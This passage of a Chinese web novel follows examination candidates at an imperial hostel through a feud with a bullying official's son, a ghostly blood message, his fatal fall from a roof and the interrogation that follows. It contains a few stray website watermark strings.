慕煜峥的话还未说完,蓦地一声嘲笑却在窗外响起。 “呵呵,这种胆小鬼有何好与他说的?见到个风吹草动都吓得半死。我说你,还是趁早回你村里待着吧!” 房内三人转头望去,但见是魏庆坤立在他们窗外望着杨宝丰,嘴角挂着鄙夷讥讽的弧度。 杨宝丰自然不敢与之回嘴,但慕煜峥却不是一句话都不敢说的性子。 魏庆坤突然冷不丁冒出来辱骂他兄弟。若他不维护自己兄弟,不就说明他怕了魏庆坤?与缩头乌龟有何异? 于是慕煜峥当即回怼了一句,“我们三人在说话,与你有何干?走你自己的路,少插别人的话。” 魏庆坤:“???”这臭小子居然有胆子如此对我说话? 魏庆坤的脾气立时便上来了,双手叉腰立在窗外,对慕煜峥厉喝道:“喂,你小子是谁?知道你爷爷我是谁吗?我是……” “你是户部左侍郎的儿子,前文华殿大学士是你外公。我听得耳朵都要起茧子了。”慕煜峥熟捻地接口道,恹恹地掏了掏耳朵。 如此举动和语气,更加刺激到魏庆坤,只见他拼命睁大豆眼质问道: “你这个乳臭未干的臭小子,不想活了是不是!你是哪门哪户的,报上名来!” 周平章见二人就要吵起来,连忙压低声音向慕煜峥道:“煜峥你少说两句吧。跟那种人吵,得不偿失。” 随后站起身走到窗边向魏庆坤道:“这位兄台请回吧。此时正是午休期间,若是将考官们扰来就不好了。” 说罢,便关上了门窗,将魏庆坤拒之门外。 魏庆坤立在三十七号房外又怒骂了几句,引来不少考生探头探脑的围观。 自第一日住进来后,魏庆坤怼天怼地的脾气,三号院的考生们已见怪不怪了。 只是不知今日他又与何人吵了起来。考生们略略瞥了一眼,见是三十七号房,但却门窗紧闭,便都猜到是三十五三十六号房的考生在杨举人房里。 半晌,魏庆坤骂累了,便转身往自己屋子走。 余光瞥见有几间屋门口探出半张脸来盯着他,于是他再次回身向那些考生吼道:“看什么看!再看本少爷将你们眼珠子抠出来!” 探头偷看的考生迅疾缩回脑袋砰地关上门,走廊中再无一个人影。 魏庆坤这才骂骂咧咧地回到自己屋中,心中暗暗发誓,方才那个臭小子若是再敢那样跟自己说话,定饶不了他! 第231章 231.天花板上的血字 魏庆坤回房后,三十七号房的三人也都渐渐冷静下来。 杨宝丰满面愧疚地望着慕煜峥,“慕兄,方才实在不好意思,连累你跟隔壁房那位起了冲突。 下回再遇到这种情况,我一人来扛,你不要再为了我跟他吵。” 周平章也劝道:“杨兄说的对。煜峥,在书院阁与人起冲突,对你自己也无好处,只会让人看笑话。你还是忍忍吧。” 慕煜峥不忿道:“那姓魏的都欺负到我们头上了,你叫我忍?我若是忍了,他就会以为我们怕他,将来他定会得寸进尺。” “你消消气。”周平章搭上他的肩,平心静气劝抚道:“那种人咱们真的没必要搭理,平白惹一身腥。 煜峥听我的,今后见了他就当没看到,少搭理他。还剩六日就要开考了,多一事不如少一事。” 在两人的再三劝说下,慕煜峥才渐渐消了气,答应今后不再理魏庆坤。 今日之事便如此过去。可到了第四日清晨,却又发生了一件鬼魂现身之事。 且这一次,恰巧发生在了杨宝丰身上。 “啊啊啊啊!有鬼啊!别来缠我!我帮不了你!别来害我啊!” 第四日清晨,天色仅蒙蒙亮时,一道尖厉惊恐的嗓音,骤然划破三号院静谧的氛围。 大多数还在睡梦中的考生,皆被这叫声吓醒,一股脑爬起身,来不及套上外衣,便拉开门探头向外望去,寻找着惊叫的来源。 慕煜峥与周平章也不例外。 被这道突兀的叫声吓醒,二人赶忙出门查看,竟见杨宝丰从他的屋子里跌跌撞撞跑了出来,靠在栏杆旁惊恐地望着三十七号房。 望见慕周二人开门,杨宝丰倏地向周平章冲了过去。 “周兄...周兄救我啊...那个鬼魂...半夜去我房里了...”杨宝丰吓得脸色煞白,磕磕巴巴道。 慕周二人相视一眼,即刻向三十七号房走去。尛說Φ紋網 推开房门,一个硕大的由血迹书写而成的“冤”字,赫然出现在三十七号房的天花板上。 那个暗红色的大字,一笔一划似还在往外渗着血。血迹从天花板上缓缓滴落,将床榻与地面染得一片猩红,映在眼中无比恐怖渗人。 “我清早一睁眼,便感觉有什么湿漉漉的东西滴在我脸上。我用手一抹,竟是一片血红。再抬头往天花板一看... 我老天爷啊!天花板上居然有那么大一个‘冤’字,且是由血写成。我就吓得...赶紧跑出来了...” 杨宝丰哆嗦着向他们解释道,此时更多的考生也都聚了过来,围在三十七号房门口,对天花板上那个大字指指点点,议论不休。 就在此时,一旁的三十八号房门突然砰的一声被踹开,魏庆坤怒吼着走了出来。 “哪个混账东西一大早就在那鬼叫!叫什么叫!麻痹的本少爷睡得正香着呢!” 魏庆坤出门后,发现隔壁三十七号房外挤满了人,顷刻间便明白又是三十七号房的人闹的。 “又是你这龟孙子!特码的本少爷跟你没完!”魏庆坤说着,撸起袖子就冲了过去。 他气势汹汹扒开人群,随后一把捏住杨宝丰的肩膀将他强转过来,再猛地攥住他的衣襟。 杨宝丰正对着房内的大字向众人解释,完全未提防身后,顿时被魏庆坤控制。 魏庆坤人高马大,一使劲儿便将杨宝丰拉至身前,低下头怒目圆瞪,“你特码大早上的鬼叫什么!要不要我直接送你去跟那鬼魂作伴?” 杨宝丰被喷了一脸气味浓重的口水,霎时被喷懵了,惊恐地望着魏庆坤,一时间竟忘了反抗。 一旁的慕煜峥见此,立即厉声喊道:“住手!放开他!这是书院阁,不是任你随意动粗之地!” 慕煜峥的嗓音一出,魏庆坤的注意力霎时被他吸引,转头向他望了过去,很快便想起他就是昨晚怼自己的黄毛小子。 “又是你小子...”魏庆坤眯起眼,甩开杨宝丰,转而面向慕煜峥,两手叉腰极具压迫力。 周围的考生们见此,纷纷后退几步为他们让出些空地,却又舍不得走,想亲眼目睹二人剑拔弩张的精彩一幕。 慕煜峥年纪虽小,气势与胆量却未被魏庆坤压倒。 他挺胸抬头直视着对方,面上坚毅不屈,无丝毫退缩畏惧之色,誓要与之斗争到底。 “杨兄确实撞了鬼,如此才惊慌失措地跑出来叫我们,并未想故意吵醒你。不信你自己看他房间的天花板。 若是换你睡在此房间,你也会吓得屁滚尿流吧。” 慕煜峥说罢,魏庆坤极快地瞥了一眼天花板上那个血红色的大字,面上表情未变,反而略带讥讽道: “本少爷才不怕什么妖魔鬼怪。若是让我碰上那怨鬼,非要用我的阳气打得它魂飞魄散不可!” 此话一出,周围围观的人群中霎时响起一阵讶然惊呼。 因为在当前时代,大部分人对鬼神之说即便不信,但也会心存敬畏。 而像魏庆坤这样狂妄凶狠的说辞,则是对已逝之人的大不敬。说不定就会因他那句话惹鬼上身。 但魏庆坤显然未将那鬼魂,与考生们的惊呼放在心上,而是细细打量起了慕煜峥。 不久后忽然轻笑一声,“呵,我想起来你是谁了。你是永嘉侯府二房的儿子,对不对? 永嘉侯府早已被逐出官场成了奸商,手里根本无实权。 更别说你还是二房,连点爵位的边都摸不上,竟敢在此对本少爷大呼小叫。你是活腻了吧你!” 周平章见状,立即拦在他们二人之间,强自镇定道:“二位莫激动,听在下一句劝,如此多双眼睛看着呢,莫要在此处动粗。” 杨宝丰也凑上前来,向魏庆坤连连道歉,“魏公子请恕罪,都是我的错。你要打要骂都冲我来,不要为难慕兄。” 魏庆坤侧头笑道:“呦,你们还真是兄弟情深啊。” 话毕再次望向慕煜峥,露出一抹逐渐变态的笑,“但我现在改变主意了。 我要给姓慕的这小子点教训,否则他不知道天高地厚!” 在最后一个字说出的同时,魏庆坤的铁拳已朝着慕煜峥的门面挥去… 第232章 232.动手打人 在最后一个字说出的同时,魏庆坤的铁拳已朝着慕煜峥的门面挥去。 说时迟那时快,慕周等人还未反应过来,魏庆坤的拳头已结结实实落在慕煜峥脸上。 魏庆坤人高马大,一身蛮力,而慕煜峥身形较为单薄,两相对比下力量悬殊。 这一拳登时令慕煜峥晕头转向,踉跄几步差点摔倒。 “煜峥!”周平章一声惊呼,旋即伸手拉住他。 见慕煜峥的鼻血都流了下来,周平章平日里那些隐忍谨慎的座右铭,瞬间皆抛之脑后,对着魏庆坤的鼻子便一拳挥了上去。 围观众人与魏庆坤本人都没想到,那个瘦削的少年居然有胆量敢反抗。 魏庆坤顿时被打懵,“好你个臭小子,竟敢动手打你爷爷!我你嘛...” 魏庆坤正要举拳,忽然一道颇具威严的厉喝响起,“住手!都住手!” 魏庆坤的动作停住,围观考生们纷纷后退几步让出一条路。 一位官员打扮的中年男子,在书院阁管事的陪同下,快步行至魏周等人面前。 “此乃皇家科举重地,尔等怎敢在此闹事!跪下!” 考官立在众考生中央厉声喝道,表情不怒自威。 一声“跪下”一出,周围的考生们皆慌忙下跪,慕周等人见此也跟着跪了下去。唯有魏庆坤还吊儿郎当地站着。 考官见还有一人不肯跪,且一副傲慢无礼的模样,立刻将目光投向他,“大胆!见到朝廷命官不跪,你是想抗旨不遵!?” 考官身侧的书院阁管事,频频向他递眼色,急得就差手舞足蹈。 魏庆坤这才不情不愿地跪下,却还不屑地翻着白眼。 随后,考官向他们几人询问了方才斗殴事件的起因,这才注意到三十七号房天花板上的血字。 考官的神情亦几不可见地凝重了几分。 了解完前因后果后,考官向众人道:“尔等所说的鬼魂喊冤一事,本官会向上级禀报,请专人前来调查。 尔等切勿过于紧张担忧,亦不可以讹传讹致使书院阁内人心惶惶。 若实在无法忍受,此刻即可申请退出会试,便可从书院阁离开。有没有要退出的?” 听到要退出会试才可离开,在场众考生皆没了声音。 毕竟他们都是费尽千辛万苦才考上了举人,会试一年又仅有一次。 今年不考便要等到明年。明年又还得住在书院阁,不还是如此情况吗? 见众考生终于老实下来,考官又道:“若是再发现在书院阁内斗殴闹事之事,立即将其赶出书院阁,三年内不得参加会试!听到了吗!” “是!”众人异口同声应道。 考官见此这才稍稍满意,让慕煜峥魏庆坤等人,和所有考生各自回房,随后便转身离开。 魏庆坤在离开之前,口中还愤愤不平地嘟囔着脏话,眼神凶狠地盯着慕煜峥等人。 慕煜峥与周平章亦瞪了姓魏的几眼,之后便互相搀扶着回到慕煜峥的房间。 不消片刻,便有大夫前来房内为慕煜峥查看伤势。 魏庆坤那一拳,恰好揍在他的颧骨与鼻骨侧面,虽未砸断骨头,但也严重挫伤面部肌肉,左面颊已出现淤青和红肿。 大夫为他留了一些消肿化淤的药膏,叮嘱他一日涂抹三次,也可用布包裹冰块降温消肿。 并嘱咐他这几日需饮食清淡,早睡早起,心气平和,便可早日恢复。 慕煜峥谢过大夫后,大夫便去三十八号房,继续为魏庆坤医治。 大夫刚走,慕煜峥的房门便被敲响。打开门,门外露出的果然是周平章与杨宝丰的脸。 “慕兄你怎么样?伤的严重吗?”将二人请进屋后,杨宝丰关切忧心道。 慕煜峥不在意地挥挥手,“一点小伤,不用担心,过几日便可痊愈。” “你管这叫小伤?”方才一直黑着脸立在旁侧的周平章,此时嗓音高了八度,带着埋怨与气愤道:“你看看你,脸都肿成猪头了。” 慕煜峥:“???” “平章你...”慕煜峥才说几个字,便蓦地顿住,轻叹一声,“哎...” 他明白周平章是为他担心。 关心则乱,关心则惧,关心则恼。 因而周平章对他生气,也是人之常情。 “平章你骂的对,此次是我错了,未能听你的话又跟姓魏的起了冲突,害你们担心了。” 慕煜峥垂下头,诚心诚意向周杨二人认错。 见他向自己服了软,认错态度诚恳,周平章的气也收敛了一些,但仍旧语气生硬问:“大夫怎么说?伤的严重吗?” “不严重。大夫说让我每日涂涂这药膏,不出几日便能痊愈。” 慕煜峥说着,向他指了指桌上的那盒小药膏。 周平章听后行至桌边拿起药膏,“坐下,我为你涂。”看似不情不愿,实则十分心疼。 慕煜峥见他给了自己台阶,便也听话地在桌边坐下,微微侧过脸,将红肿的左脸凑到周平章跟前。 周平章打开盒盖,用手指抹了一些药膏,轻轻涂抹在慕煜峥颧骨的红肿处。 但他仅将将碰到他的颧骨,慕煜峥便疼得叫了起来,“哎呦!疼...” 周平章用无语又责备的眼神望着他,“这会儿知道疼了?” 慕煜峥可怜兮兮地点点头,“疼是真的疼。不过想到你也帮我揍了那姓魏的一拳,我这心里啊,就舒爽了很多。” 慕煜峥说这番话时一脸的骄傲与暗爽,让周平章终于忍不住笑了出来,“行了,看把你美的。” 杨宝丰亦跟着笑道:“是啊,我也没料到平日沉稳冷静的周兄,竟然也会向隔壁那位动手。” 慕煜峥似得了表扬一般,愈加嬉皮笑脸,“是啊,平章你不也没忍住吗?” 周平章被他戳中心事,顿时没了脾气,“我那是...那是...” “是什么?” 周平章被慕煜峥逼问得脸都红了,却还是想不出该如何解释。 末了干脆一气之下对慕煜峥发火,“够了啊,你再说我就把这盒药膏都扣你脸上!” 说着,周平章使劲按了一下慕煜峥脸上红肿之处,疼得他嗷嗷乱叫。 第233章 233.坠楼身亡 周平章使劲按了一下慕煜峥脸上红肿之处,疼得他嗷嗷乱叫。 “啊啊啊!周平章你太狠了!想疼死你兄弟啊!” 周平章得逞地笑着,“呵呵,谁让你小子落在我手上了。再敢调侃我,我让你另一边也肿成猪头!” “周平章你敢!” 慕煜峥腾地站起身,在房内与周平章绕着桌子你追我赶,欢乐地闹腾起来。 杨宝丰望着他们这相亲相爱的一幕,面上也不自觉带了一抹笑意,心中不禁感叹,慕兄与周兄虽不是亲兄弟,但胜似亲兄弟啊。 === 自从上次慕煜峥与魏庆坤的打架之事过后,整个书院阁内消停了两日。 虽每日还会有无法解释的玄幻事件发生,但考生们都不再大肆宣扬,也尽量不离开自己的房间,一门心思扑在会试复习上。 天黑后出房门的考生就更少了。若不是实在急切憋不住,夜晚基本没有人在外面闲逛。 六日后的夜晚,时近子时,本在房内看书的慕煜峥,房门又被敲醒。 起身去开门,打开门后出现的又是周平章的脸。 “煜峥,我想上茅厕。你可以陪陪我吗?” 慕煜峥还当他有何大事呢,原来只是陪他去茅厕。 “嗐小事一桩。你等等,我套件外衫就陪你去。” 少倾,二人准备好后便出了门。他们先去三楼的茅厕看了看,发现里面已有了人。 随后二人又分别去了一楼二楼和四楼,发四层楼的茅厕居然都有人。 岂有此理!难道考生们都挤着这段时辰蹲茅厕吗? 眼看周平章憋得愈加难受急迫,二人别无他法,只好前往楼顶的露台,看看那个茅厕有没有考生。 许是因月黑风高、阴森寒冷的缘故,顶楼露台上的茅厕果然空着。 周平章忙不迭冲了进去,慕煜峥则留在门外等候。 看样子周平章是上大号,一时半会出不来。慕煜峥等在门外闲来无事,便信步在露台上转转。 露台上有一方小花圃,花圃上方搭着凉棚,可供天热时晚间在此处休憩纳凉。 奈何如今仅是阳春三月,乍暖还寒,花圃中的花儿都还未抽条结苞,因而也无人在此欣赏。 穿过花圃便到了楼顶的对角,此处光秃秃一片,甚是荒凉。 但慕煜峥走过去时,却隐约望见角落里有一个身影在微微晃动,似乎是个人蹲在那里。 他一步步缓慢靠近,待到近前时大喝一声,“是何人在此!” 对方直接一个激灵蹦了起来,“我尼嘛!” 此人一声暴喝,转过身后两人顿时互相看清对方。 “魏庆坤!” “慕家的!” 在此处都能碰见这个姓魏的,真是晦气! “你在此处鬼鬼祟祟作甚!”慕煜峥指着他肃声问。 魏庆坤先是极快地向他方才蹲着的位置瞥了一眼,明显有些慌乱。 之后再次看向慕煜峥,强装凶悍道:“你又在此地做什么!大半夜的不在房里睡觉,跑顶楼来不怕被那鬼魂缠住!快滚!” 这时,蹲完了茅厕的周平章循着声音朝这边走了过来。 “怎么了煜峥?”周平章边问边来到近前。 见慕煜峥又与魏庆坤对上了,防备之心顷刻间提起,与慕煜峥站在一起共同面对魏庆坤。 “魏举人,你大半夜的在此无人处作甚?” “要你管!”魏庆坤低吼一声,“你们快滚!少管闲事!” 慕煜峥又道:“你为何要让我们走?难道你有何不可告人的秘密?” 话音刚落,魏庆坤明显慌了,“混账东西!放什么屁!你们滚不滚?再不滚老子打死你们!” 就在此时,周平章冷不丁道出一句,“你不会是买了试题在此地跟人接头吧?” 此话一出,三人一时间皆愣在了那里。 但还不等他们有所动作,一阵阴风忽而吹了过来,三人齐齐打了个冷战。 紧接着便闻耳边传来一阵低沉空渺、又带着愤恨的怒吼,“买卖试题,徇私舞弊,罪不容诛!给我拿命来!” 说时迟那时快,三人还未反应过来,一个灰黑色的影子便自身后从慕周二人之间飞过,向魏庆坤直直扑了过去! 慕周二人也被那影子带到了一些。 慕煜峥当即便觉得自己像是被一盆冰水浇了个透心凉,浑身上下包括四肢皆顷刻间被冻住。 唯有心口挂着符纸的那一处未被冲撞到,并且此时那符纸好似被激活了一般,源源不断散发出热量,令慕煜峥冻得打颤的四肢,一点点恢复知觉。 但身侧未携带符纸的周平章,情况便没有那么好了。 被那灰黑色的影子从身边蹭过后,周平章感受到一股渗入骨髓的寒意,当即便腿脚一僵跌倒在地,倒在地上浑身不住打颤。 “平章!”慕煜峥稍稍恢复之后,即刻赶到他身边,蹲下身抱住他,“平章你怎么样?还好吗?” 此刻的周平章似在冰窖中关了几个时辰般,面无血色,嘴唇发紫,浑身僵硬。 他下意识抬手攥住慕煜峥的衣袖,哆嗦着嘴唇道:“煜...煜峥...我好冷...” 慕煜峥迅速将自己的外衫脱下裹在周平章身上,“你别怕,我这就带你下去找大夫!” 而就在此时,一声凄厉惨叫蓦然从魏庆坤那方传来。 “啊啊啊!你不要过来啊!我...我没有害你!不要...不要啊!” 慕煜峥扭头望去,竟见那个灰黑色的影子将魏庆坤团团围住,在他身边不住盘旋。 魏庆坤吓得面目狰狞,不住往后退,退到楼顶栏杆处时,不知被何物绊了一下,直接一个没站稳,朝后从栏杆上翻了下去! 慕煜峥登时呼吸一滞,不消片刻,便闻咚的一声闷响从楼下传来。 而那个灰黑色的影子,也顷刻间消失无踪。 慕煜峥放下周平章,起身来到栏杆旁探身朝下一望。 只见楼下的空地上躺着一个人,姿态扭曲着,大片大片鲜血,正自他身下涌出... 慕煜峥顿时惊得倒抽一口冷气,飞快捂住嘴,眼看着下方有考生从房中跑了出来。 那些考生亦被眼前一幕吓傻,纷纷后退着大喊,“死人啦!快来人啊!死人啦!” 第234章 234.惹上血案 考生们亦被眼前一幕吓傻,纷纷后退着大喊,“死人啦!快来人啊!死人啦!” 而站在楼顶栏杆旁的慕煜峥,不可置信地望着那一切,踉跄着从栏杆旁退开,心跳之快,快到他想要呕出来。 魏庆坤死了... 怎么会这样... 事情为何会发展成了这副模样... 那我... 慕煜峥回身望了一眼还躺在地上的周平章,迅速返回他身边,拉起他的手臂,将其扛在肩头,步伐慌乱地向楼梯而去,口中喃喃自语: “平章我们走...我带你回房...是魏庆坤自己摔下去的,跟我们没关系...跟我们没关系!” 周平章此时依旧冷的发抖,额头与脸颊却开始发烫,浑身的肌肉亦酸软难忍,竟是发了高热。 在慕煜峥的搀扶下,二人艰难地从楼顶返回三楼。 趁着大部分考生都好奇地趴在栏杆上朝下望时,慕煜峥将周平章扶回了他的房间。 将将把周平章放在床上,房门便被砰的一声推开。 杨宝丰激动又惊恐地闯了进来,大声喊道:“周兄慕兄!你们看到了吗!我隔壁那位像是从楼上摔下来,摔死了!” 慕煜峥此时根本无心理会杨宝丰,弯腰低头为周平章盖被子,却未发现自己的双手正无意识地抖得厉害。 杨宝丰定定望了他们片刻,这才发现他们二人有些不对劲。 他即刻行至二人近前,望见床上的周平章面色惨白,脸颊上却浮着一片不正常的潮红,整个人缩在被窝中,却还在不住发抖,立时意识到周平章染上了风寒高热。 “周兄弟这是染上风寒,突发高热了吗?要赶紧请大夫来看看呐。”ωww.xSZWω㈧.NēΤ 慕煜峥头也不回,仅低着头低声嘟囔,“不用...” 杨宝丰却还在为周平章而担忧,“为何不用?周兄弟都成什么样了,再拖下去不就...” “我说了不用就不用!”慕煜峥突然一声暴喝,将杨宝丰震得当场愣在原地,面带惊恐望着他。 少倾,慕煜峥才反应过来自己方才太过失态,遂气息一缓,对杨宝丰抱歉道: “不好意思杨兄,可否帮我打盆温水来,我想为平章擦擦身子。” 杨宝丰愣了半晌才回过神来,“好...好...我这就去...”随后忙不迭转身推门而出。 这一夜,整个书院阁乱成一圈。 无数国子监官员,与书院阁内的大夫,在三号院内来来往往。 考生们都被撵回了自己房间,但还是掩不住汹涌的流言。 次日,三号院死了一位考生之事,便传遍了整个书院阁。 当慕煜峥从周平章房内出来,走到栏杆旁朝下一望,发现昨夜魏庆坤跌落之处,已被清理干净。 砖地上仅留下一片淡淡的暗红色,还在提醒着慕煜峥,昨夜魏庆坤是真的在自己眼前跌落,摔下楼身亡。 就在他怔愣回忆之时,一名国子监官员,带着三名刑部官员,登上三楼向他走来。 “你就是住在三十五号的举人慕煜峥?”为首的刑部官员肃声问。 慕煜峥回过身茫然道:“正是在下。” “请跟我们走一趟。对了,还有住在三十六号的周平章,也一并带走。” “是,大人!” === 与此同时,永嘉侯府内。 慕怀瑾与慕怀清今日在去铺子里忙生意,只有徐莞薛敏芝等夫人在府中。 薛敏芝正在徐莞院里,一面做着针线活,一面与徐莞一同观看着朱雀为她们展示刚学会的分身术。 正当朱雀念动咒语,身旁渐渐幻化出一个几乎透明的影子时,管家福叔带着周祎仁火急火燎快步赶了进来。 以往从来都是面带笑意的周祎仁,此时却面容凝重,眉头紧锁。 薛敏芝意识到事情不对,忙站起身问道:“周大人?您怎么来了?” 周祎仁边走边道:“平章与煜峥在书院阁出事了,弟妹快随我去书院阁走一趟吧。” “啪嗒”一声,薛敏芝手中正在做的刺绣帕子掉在了地上,面上的血色迅速褪去,嘴唇哆嗦道:“煜峥……煜峥他们出了何事?” 这时,一旁的徐莞沉稳开口,“他们是不是惹上了人命?” 此话一出,周祎仁与薛敏芝瞬间齐齐望向她。 “徐观主怎么知道!”周祎仁惊诧道:“您早已算到了吗?” 徐莞点头道:“对。我早已算到他们二人此次会遇上血光之灾,但具体如何我也无法探知。 走,我跟你们一同走一趟。” === 书院阁内,一间考官厢房被暂时用做审讯室。 刑部官员将慕煜峥和周平章都接到了此处。 周平章因依旧高热不退,正躺在窗边的床榻上,由大夫为他医治。 慕煜峥则坐在一张方桌后,被一大群刑部官员紧紧盯着,严肃审问。 “昨晚魏举人从楼上摔下来之时,你在何处?” “我…我在自己房里…” 慕煜峥头一次遇上如此情况,第一反应当然是不承认。 并且魏庆坤确实不是他们杀的,慕煜峥如此回答只是为了撇清关系而已。 刑部官员将他的神态静静观察一番,很容易便看出他在说谎。 但不急不缓又道:“有四楼的举人说,昨晚魏举人从楼顶摔下来后,没过多久便看到你和周举人从楼顶下来。你承不承认?” 他们从楼顶下来,被人看到了? 慕煜峥心内立时慌了,顿时不知该如何回答,语无伦次道:“我…我那时是陪平章去楼顶的茅厕如厕。” “那你方才为何说在自己房里?” 这位刑部官员审问经验丰富,在审问中很懂得揣摩对方心思,抓住对方弱点,几个回合下来定能让嫌疑人松口。 更不用说对慕煜峥这种半大小子,不到两个回合便将他问得哑口无言。 但当慕煜峥想开口解释时,这位官员又乘胜追击,打断他厉声道: “三号院内大部分举人都说,前两天你们与魏举人起过冲突,还互相动了手。 本官可否假设,你们与魏举人有过过节。所以见他上了楼顶,你们便也跟着上去。 最后趁他不注意将他狠心从楼顶推下,以报那日之仇?” 第235章 235.死者爹娘赶来 “本官可否假设,你们与魏举人有过过节。所以见他上了楼顶,你们便也跟着上去。最后趁他不注意将他狠心从楼顶推下,以报那日之仇?” 慕煜峥一听这位大人的话,当即急得从板凳上站了起来,连连否认。 “不!不是我们干的!是他自己摔下去的!跟我们没关系!” 这位官员见此,嘴角露出一抹不易察觉的弧度。 果然是乳臭未干的孩子,才激了两句就藏不住什么都招了。 “你方才不是说魏举人从楼上跌落时,你们在各自房里吗?如今为何又如此确定说是他自己摔下去的?” “呃...这...” 慕煜峥顿时语塞,脑中一片混乱,不知该不该说,也不知该从何说起。 就在他犹豫不决之时,对面的房门被蓦地推开,一对身着华服的中年男女,凶狠地闯了进来。 其中那位夫人一进屋便狠狠锁定慕煜峥,一双眸子似要喷出火来。 “你就是那姓慕的小杂种!你还我儿命来!” 一声尖利的嘶吼后,这位夫人猛地向慕煜峥扑了过去,掐住他的喉咙,力道之大险些将慕煜峥推倒。 慕煜峥来不及反应便被推得后退几步,脊背重重撞在后方的墙壁上,脖颈又被死死掐住,惊恐地喘不上气。 一旁几名刑部官员连忙上前拉架,“魏夫人冷静!案件还未调查清楚,慕公子不一定是凶手。您快放手!莫要伤了人!” 就在此时,后方房门再一次被推开,几道惊恐女声骤然响起。 “煜峥!这是在作甚!快放开我儿!” 话音未落,薛敏芝便也冲了过来,与几位刑部官员一同拉住魏夫人的手臂,才终于将其从慕煜峥身前拉开。尐説φ呅蛧 “煜峥!煜峥你怎么样?”薛敏芝捧住慕煜峥的脸,上下左右查看他面上及脖颈上的伤。 见他面颊还带着红肿,脖颈方才又被那疯女人掐了半晌,已浮现出一条红印,胸中担忧无比,又怒火熊熊。 慕煜峥脖颈上的压迫感骤然消失,重重咳嗽几声才缓过劲儿来,随后便如同望见救命稻草般,投入自己娘亲的怀抱,紧紧抱住薛敏芝,毫无顾忌地哭了起来。 “娘...” 薛敏芝见自己儿子几日不见居然瘦得如此明显,面上还带着伤,又抱着自己痛哭流涕的模样,亦流下了心疼的泪水。 徐菀在一旁望着他们母子俩相拥而泣的画面,亦在心中唏嘘: 慕煜峥在世人眼中虽已是位即将弱冠的男子,但在遇到大事时才让人意识到,他其实还只是个十四岁的少年。 与此同时,周祎仁也赶到自己儿子周平章身边。 周平章面色青灰躺在窗边的床榻上,将将经由大夫把脉完毕,人还处于半梦半醒之中。 周祎仁步下生风,三两步来到床边,俯下身极其关切地问:“平章,爹来了!你现下如何?” 他在赶来书院阁之前,已听刑部同僚讲起长子突发高热,不省人事之事。 因而一进门就问起他的情况,又向大夫问:“大夫,我儿子情况如何?” 大夫温声道:“周公子昨夜因惊厥突发高热。老夫已为他开了祛风散热的药方,待会儿便将汤药为他端来。 喝下汤药后需多多卧床静养,莫要再受风寒惊吓。三日内病情便可稳定。” 周祎仁听后多少放下心来。 这时,徐菀的嗓音忽然在身后响起,“周大人,让我为平章看看。” 周祎仁恍然意识到,或许平章突然暴病,是与鬼神之事有关? 他急忙起身为徐菀让开位置,“徐观主请。” 徐菀坐于床边,将手覆在周平章额头,感受一番后道:“平章被阴气入体,致使体魄受损,突发高热。待我将他体内阴气逼出,便可好得快一些。” “好!那就麻烦徐观主了!” “小事,周大人莫要客气。” 之后但见徐菀从小荷包内取出一张黄纸,和用朱砂制成的膏笔。 用朱砂膏笔在黄纸上画下一道符,贴在周平章的额头。而后轻阖双眼念动咒语,同时右手两指并拢指向符纸,厉喝一声,“出!” 之后令人惊奇的一幕发生了。 只见原本用红色朱砂画出的符文,从顶端起渐渐变深。如同从周平章体内吸出了什么污秽之物,将其染成了墨色。 徐菀口中咒语不停,那墨色便持续缓缓蔓延。直到墨色蔓延至符纸三分之二处时,才终于停止不动。 徐菀停下咒语睁开眼,轻轻呼出一口气,将那符纸从周平章额头揭去。 “周大人,平章体内阴气已除,稍后便可醒来。” 徐菀说着,站起身随手将那符纸一抖,符纸便忽的燃烧起来,顷刻间便化为一片齑粉随风飞散。 周祎仁心呼神奇,忙走上前来向徐菀道谢,“多谢徐观主!”而后再次坐到周平章的床边。 将将坐下,原本意识恍惚的周平章,便迷朦着睁开了眼,喃喃道:“爹...是爹来了吗?” 周祎仁一喜即刻握住他的手,“是爹。平章,爹来接你了。” “爹...真的是您吗?是我在做梦吗?” “不是,真的是爹。没事了平章,有爹在你别害怕,爹这就带你回府。” 周平章看清真的是爹来了,泪水倏然从眼角滑落,望着周祎仁的眼神中充满委屈和期盼,将周祎仁看得心疼万分。 少倾,负责此案的刑部官员行至周祎仁身后,轻声道:“周大人。” 周祎仁闻声眨眨眼,隐去眼底的水痕,转头望向他道:“阿灿,我儿此案可有进展?” 此人姓姜名灿,乃刑部郎中一名,属于周祎仁下属。 魏庆坤案发生后,因涉及周祎仁之子,因而将此案交由姜灿负责。 姜灿道:“已调查出一些线索,初步确认此案应与周公子并无干系。” 周祎仁听后微微点头,“嗯,那就劳烦你彻查此案。若需我等配合,你尽管讲。” 旁侧的薛敏芝听闻此言,心不由得一紧,“姜大人,您此话之意,可是我儿子煜峥还有嫌疑?” 第236章 236.鬼魂杀人 “姜大人,您此话之意,可是我儿子煜峥还有嫌疑?” 话到此处,方才被拉开的魏夫人,此时也缓过了力气,在夫君魏志鸿的搀扶下,向薛敏芝母子恶狠狠道: “不是他是谁!方才我在门外都听见了。那小杂种本还不承认昨晚见过我儿。姜大人几句话便激他说出昨晚确实上过楼顶。 既然他上过楼顶,那杀害我儿的人不是他还有谁!这个满口谎言的小杂种,我定要让他血债血偿!” 这位魏夫人便魏庆坤的娘,前文华殿大学士娄贲的女儿娄婧,亦是户部左侍郎魏志鸿的夫人。 魏庆坤的死讯传出后,今日一早刑部便派人去了魏府。魏志鸿与娄婧闻之如遭雷劈。魏志鸿赶忙向户部告假,之后便带着娄婧来了书院阁。 二人方才在审讯室外停了一会儿,恰好听见慕煜峥前后矛盾的供辞,以及最后答不出姜灿的话。 再加之娄婧正处在丧子之痛的顶峰,气极之下恨意汹涌勃发,推门而入想杀了那个杀害自己儿子的凶手。 但慕煜衡的家人也赶到了此处,这才将其阻止。 薛敏芝听娄婧一口一个“小杂种”的骂,如何能忍得了? 还不等她说完,薛敏芝便大声打断,“魏夫人!如今案子还未调查清楚,您就将我家煜峥当做杀人犯,还对他如此辱骂,未免太有失分寸了。” “我有失分寸?”娄婧指着自己鼻子尖声喊道:“若是此刻失去儿子的人是你,你还能如此冷静地站在此处对我说话?你怕是也想冲过来掐死我吧!” 见两方的争执愈演愈烈,姜灿与周祎仁忙挡在双方中间,向他们劝道: “魏夫人、慕夫人,你们先别吵了。在案件还未水落石出之前,你们在此处吵翻天也无用。 请各位相信我们刑部。既不会放过任何一位凶手,也不会冤枉任何一个无辜者。” 姜灿的话说完,两方剑拔弩张的气氛终于有所平复。 此时,作为死者父亲的魏志鸿才开口,“姜大人,魏某相信刑部的办案能力。但请莫要因其中一位嫌疑人是周大人的儿子,就偏袒他们。” 